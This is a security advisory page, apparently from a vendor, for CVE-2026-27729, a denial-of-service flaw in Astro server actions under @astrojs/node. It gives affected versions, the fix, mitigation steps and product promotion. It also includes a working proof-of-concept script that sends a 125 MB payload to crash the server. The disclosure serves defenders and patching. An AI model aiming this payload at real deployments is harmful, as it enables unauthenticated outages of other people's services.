CVE-2026-27729 is a medium-severity (CVSS 5.9) CWE-770 vulnerability in @astrojs/node. A fix is available for @astrojs/node — see the affected versions and patch details below.
Astro has memory exhaustion DoS due to missing request body size limit in Server Actions
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-27729 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@astrojs/nodenpmDescription
Summary
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.
Details
On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.
Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.
Action names are discoverable from HTML form attributes on any public page, so no authentication is required.
PoC
<details>Setup
Create a new Astro project with the following files:
package.json:
{
"name": "poc-dos",
"private": true,
"scripts": {
"build": "astro build",
"start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.17.2",
"@astrojs/node": "9.5.3"
}
}
astro.config.mjs:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
src/actions/index.ts:
import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';
export const server = {
echo: defineAction({
input: z.object({ data: z.string() }),
handler: async (input) => ({ received: input.data.length }),
}),
};
src/pages/index.astro:
---
---
<html><body><p>Server running</p></body></html>
crash-test.mjs:
const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });
console.log('Sending 125 MB payload...');
try {
const res = await fetch('http://localhost:4321/_actions/echo', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
body: payload,
});
console.log('Status:', res.status);
} catch (e) {
console.log('Server crashed:', e.message);
}
Reproduction
npm install && npm run build
# Terminal 1: Start server with 128 MB memory limit
npm run start:128mb
# Terminal 2: Send 125 MB payload
node crash-test.mjs
The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.
Impact
Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @astrojs/node | ≥ 9.0.0&&< 9.5.4 | 9.5.4npm install @astrojs/node@9.5.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @astrojs/node, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @astrojs/node to 9.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27729 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-27729 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-27729. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-27729 in your dependencies?
O3 Security finds CVE-2026-27729 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.